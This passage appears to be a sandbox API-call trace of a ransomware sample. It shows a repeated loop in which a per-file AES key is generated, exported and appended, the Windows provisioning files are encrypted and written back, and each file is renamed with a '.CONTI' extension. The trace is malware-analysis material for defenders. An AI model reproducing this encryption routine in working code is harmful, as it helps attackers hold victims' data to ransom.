	[0110.693] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml"
	[0110.693] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.693] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\334__Connections_Cellular_T-Mobile Poland (Poland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\334__connections_cellular_t-mobile poland (poland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.694] GetProcessHeap () returned 0x1720000
	[0110.694] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.694] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0110.694] GetProcessHeap () returned 0x1720000
	[0110.694] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560ea8 | out: hHeap=0x1720000) returned 1
	[0110.694] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0110.694] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x656a838 | out: phKey=0x656a838*=0x17c8470) returned 1
	[0110.694] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656a83c, pdwDataLen=0x34ffaac | out: pbData=0x656a83c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0110.695] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.695] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0110.695] GetLastError () returned 0x0
	[0110.695] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=712) returned 1
	[0110.695] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0110.695] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.695] SetEndOfFile (hFile=0x3d4) returned 1
	[0110.696] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.696] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.696] WriteFile (in: hFile=0x3d4, lpBuffer=0x656a83c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x656a83c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0110.701] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.701] ReadFile (in: hFile=0x3d4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2c8, lpOverlapped=0x0) returned 1
	[0110.701] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2c8, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d0) returned 1
	[0110.701] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.701] WriteFile (in: hFile=0x3d4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.701] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.701] WriteFile (in: hFile=0x3d4, lpBuffer=0x656a830*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x656a830*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0110.702] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.702] CloseHandle (hObject=0x3d4) returned 1
	[0110.702] GetProcessHeap () returned 0x1720000
	[0110.702] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.702] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml"
	[0110.702] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.702] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\336__Connections_Cellular_TMN (Portugal)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\336__connections_cellular_tmn (portugal)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.702] GetProcessHeap () returned 0x1720000
	[0110.703] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.703] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0110.703] GetProcessHeap () returned 0x1720000
	[0110.703] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65675c8 | out: hHeap=0x1720000) returned 1
	[0110.703] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0110.703] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6569840 | out: phKey=0x6569840*=0x17c7eb0) returned 1
	[0110.703] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6569844, pdwDataLen=0x34ffaac | out: pbData=0x6569844*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0110.703] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.704] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0110.704] GetLastError () returned 0x0
	[0110.704] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=456) returned 1
	[0110.704] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1c8
	[0110.704] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.704] SetEndOfFile (hFile=0x3d4) returned 1
	[0110.708] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.708] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.708] WriteFile (in: hFile=0x3d4, lpBuffer=0x6569844*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6569844*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0110.713] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.713] ReadFile (in: hFile=0x3d4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x1c8, lpOverlapped=0x0) returned 1
	[0110.713] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1c8, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1d0) returned 1
	[0110.713] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.714] WriteFile (in: hFile=0x3d4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1d0, lpOverlapped=0x0) returned 1
	[0110.714] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.714] WriteFile (in: hFile=0x3d4, lpBuffer=0x6569838*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6569838*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0110.714] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.714] CloseHandle (hObject=0x3d4) returned 1
	[0110.714] GetProcessHeap () returned 0x1720000
	[0110.714] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.714] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0110.714] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0110.714] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\338__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\338__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0110.717] GetProcessHeap () returned 0x1720000
	[0110.717] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.717] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0110.717] GetProcessHeap () returned 0x1720000
	[0110.717] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3e08 | out: hHeap=0x1720000) returned 1
	[0110.717] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0110.717] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x656b158 | out: phKey=0x656b158*=0x17c8470) returned 1
	[0110.717] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656b15c, pdwDataLen=0x34ffaac | out: pbData=0x656b15c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0110.718] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0110.718] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0110.718] GetLastError () returned 0x0
	[0110.719] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=480) returned 1
	[0110.719] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0110.719] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.719] SetEndOfFile (hFile=0x3d4) returned 1
	[0110.724] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.724] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.724] WriteFile (in: hFile=0x3d4, lpBuffer=0x656b15c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x656b15c*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0111.085] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.085] ReadFile (in: hFile=0x3d4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x1e0, lpOverlapped=0x0) returned 1
	[0111.085] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1e0, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x1f0) returned 1
	[0111.085] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.085] WriteFile (in: hFile=0x3d4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x1f0, lpOverlapped=0x0) returned 1
	[0111.085] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.085] WriteFile (in: hFile=0x3d4, lpBuffer=0x656b150*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x656b150*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0111.085] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.085] CloseHandle (hObject=0x3d4) returned 1
	[0111.086] GetProcessHeap () returned 0x1720000
	[0111.086] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.199] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0111.199] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.199] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\340__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\340__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.200] GetProcessHeap () returned 0x1720000
	[0111.200] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.200] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0111.200] GetProcessHeap () returned 0x1720000
	[0111.200] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3688 | out: hHeap=0x1720000) returned 1
	[0111.200] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0111.200] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6514e38 | out: phKey=0x6514e38*=0x17c83b0) returned 1
	[0111.200] CryptExportKey (in: hKey=0x17c83b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6514e3c, pdwDataLen=0x34ffaac | out: pbData=0x6514e3c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0111.201] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.201] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\391__connections_cellular_o2 (slovakia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0111.201] GetLastError () returned 0x0
	[0111.201] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=641) returned 1
	[0111.201] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x281
	[0111.201] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.201] SetEndOfFile (hFile=0x3ac) returned 1
	[0111.201] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
